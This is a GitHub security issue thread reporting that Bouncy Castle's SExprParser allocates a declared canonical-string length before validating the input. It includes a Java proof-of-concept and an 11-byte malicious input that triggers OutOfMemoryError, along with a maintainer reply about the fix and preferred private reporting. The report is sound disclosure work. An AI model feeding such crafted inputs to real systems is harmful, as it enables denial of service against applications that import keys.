SExprParser allocates declared canonical string length before validating input length

[Str1ckl4nd]

Summary

SExprParser.parseSecretKey(...) can allocate a large byte array from a malformed GPG S-expression canonical string before verifying that the input stream actually contains that many bytes.

A very small input such as:

(67108864:)

declares a 64 MiB canonical string but provides no string body. The parser currently converts the declared length, checks only for negative values, allocates new byte[len], and only then calls Streams.readFully(...).

Affected code path

Repository:

https://github.com/bcgit/bc-java

Observed on current main:

a29849e9526d0a163db556f51bc0a2794698aae8

Relevant public entry points:

org.bouncycastle.gpg.SExprParser.parseSecretKey(InputStream, ...)
org.bouncycastle.openpgp.PGPSecretKey.parseSecretKeyFromSExpr(...)

The deprecated PGPSecretKey.parseSecretKeyFromSExpr(...) delegates to new SExprParser(null).parseSecretKey(...).

The relevant parser behavior is in pg/src/main/java/org/bouncycastle/gpg/SExpression.java:

int len = Integer.parseInt(Strings.fromByteArray(accumulator.toByteArray()));
if (len < 0)
{
    throw new IOException("invalid negative length in S-Expression");
}
byte[] b = new byte[len];
Streams.readFully(src, b);

The allocation happens before any maximum canonical string size is enforced and before the stream is checked for len available bytes.

PoC

Prerequisites

• JDK 17 or another JDK supported by the project.
• A checkout of bcgit/bc-java.

Steps to reproduce

From a clean working directory:

git clone https://github.com/bcgit/bc-java.git
cd bc-java
git checkout a29849e9526d0a163db556f51bc0a2794698aae8

Create /tmp/ProbeSExprParserDeclaredLength.java:

import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;

import org.bouncycastle.gpg.SExprParser;
import org.bouncycastle.openpgp.operator.KeyFingerPrintCalculator;

public final class ProbeSExprParserDeclaredLength
{
    private static final int DECLARED_LENGTH = 67_108_864;

    public static void main(String[] args)
        throws Exception
    {
        byte[] input = ("(" + DECLARED_LENGTH + ":)").getBytes(StandardCharsets.US_ASCII);

        System.out.println("probe=input_bytes=" + input.length
            + ", declared_length=" + DECLARED_LENGTH
            + ", max_heap=" + Runtime.getRuntime().maxMemory());

        try
        {
            new SExprParser(null).parseSecretKey(
                new ByteArrayInputStream(input),
                null,
                (KeyFingerPrintCalculator)null);

            System.out.println("UNEXPECTED: parser returned without rejecting oversized declared length");
            System.exit(2);
        }
        catch (OutOfMemoryError e)
        {
            System.out.println("EXPECTED_SIGNAL: SExprParser secret-key path raised OutOfMemoryError");
            System.out.println("observed_error=" + e.getClass().getName() + ": " + e.getMessage());
        }
        catch (Throwable t)
        {
            System.out.println("UNEXPECTED: parser rejected input without exhausting memory");
            System.out.println("observed_error=" + t.getClass().getName() + ": " + t.getMessage());
            System.exit(3);
        }
    }
}

Compile and run it against the source tree:

mkdir -p /tmp/bc-sexpr-classes

javac -d /tmp/bc-sexpr-classes \
  -sourcepath pg/src/main/java:core/src/main/java:util/src/main/java \
  /tmp/ProbeSExprParserDeclaredLength.java

java -Xmx64m -cp /tmp/bc-sexpr-classes ProbeSExprParserDeclaredLength

Observed result

The parser allocates based on the declared length and the JVM raises OutOfMemoryError before a bounded parse error is returned:

probe=input_bytes=11, declared_length=67108864, max_heap=67108864
EXPECTED_SIGNAL: SExprParser secret-key path raised OutOfMemoryError
observed_error=java.lang.OutOfMemoryError: Java heap space

The -Xmx64m limit is only used to make the failure deterministic and safe to reproduce. The underlying behavior is that the parser allocates the attacker-declared canonical string length before validating the stream contents.

Expected result

Malformed or truncated canonical strings should be rejected with a normal parser exception before allocating an attacker-declared large byte array.

Possible fixes include enforcing a maximum canonical string length before allocation, adding a parser budget for canonical string data, or otherwise validating the requested length before new byte[len].

Why this matters

Applications that import GPG S-expression secret-key data may parse key material from backups, migrations, external storage, synchronization flows, CI secrets, or other files that can be corrupted or attacker-controlled. A malformed secret-key stream should not be able to exhaust the JVM heap with a tiny input.

Reporters

• liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
• ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
• cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
• chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
• cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/

[dghgit]

Thanks for the report. I've updated https://www.bouncycastle.org/betas accordingly. The code should also show up here soon.

Just one small thing, in this case it's fairly low impact as it relies on people importing private keys, unusual to do from the wild, but still easy to mess up. That said, reports of this nature are best sent to feedback-crypto@bouncycastle.org as they sometimes need to be looked at privately first. If you have trouble contacting feedback-crypto@bouncycastle.org raising an issue about that first is the best way to get in touch with us. Let me know how you go with the update.

[Str1ckl4nd]

Thanks for the update, and thanks for clarifying the preferred channel.

We treated this as a relatively constrained issue because it depends on importing attacker-supplied private-key material and the demonstrated impact was limited to denial of service. I understand your point that reports in this area are still better handled privately first.

For future Bouncy Castle crypto/security reports, we will send them to feedback-crypto@bouncycastle.org first. If you would prefer us to re-send this specific report through that address as well, we can do that.